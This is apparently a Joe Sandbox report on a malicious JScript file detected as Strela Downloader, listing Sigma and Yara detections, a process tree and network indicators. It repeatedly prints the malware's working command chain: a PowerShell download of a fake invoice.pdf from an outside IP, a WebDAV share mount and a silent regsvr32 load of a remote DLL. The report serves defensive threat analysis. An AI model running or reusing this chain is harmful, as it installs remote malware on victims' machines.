Edit tour

Windows Analysis Report
3462260851125011899.js

Overview

General Information

Sample name:	3462260851125011899.js
Analysis ID:	1588651
MD5:	cce8f7569f95a21aa6bc1c21e236e1dd
SHA1:	e90b38d72581f5e0820a16ebf942977e0960cb0e
SHA256:	77624fda846f3161936d4a19442c57dcec1194895e05cc482c6552f332c689cf
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7028 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1456 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2680 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5656 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2404 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4372 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1560,i,10704181982839442004,3843594167041106961,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4816 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7028	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2680, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2680, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ProcessId: 7028, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ProcessId: 7028, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2680, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4816, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5648, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4816, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll, ProcessId: 1456, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3462260851125011899.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3462260851125011899.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2192491117.000002301935D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2268630359.0000025073398000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l3n
Source: net.exe, 00000007.00000002.2268630359.0000025073398000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceP
Source: net.exe, 00000007.00000002.2268630359.00000250733CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t3f
Source: svchost.exe, 00000009.00000002.3476197616.00000225C3C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2268098232.00000225C3A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7028, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\152313142125170.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3462260851125011899.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4864:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jowqzn4.53n.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3462260851125011899.js"
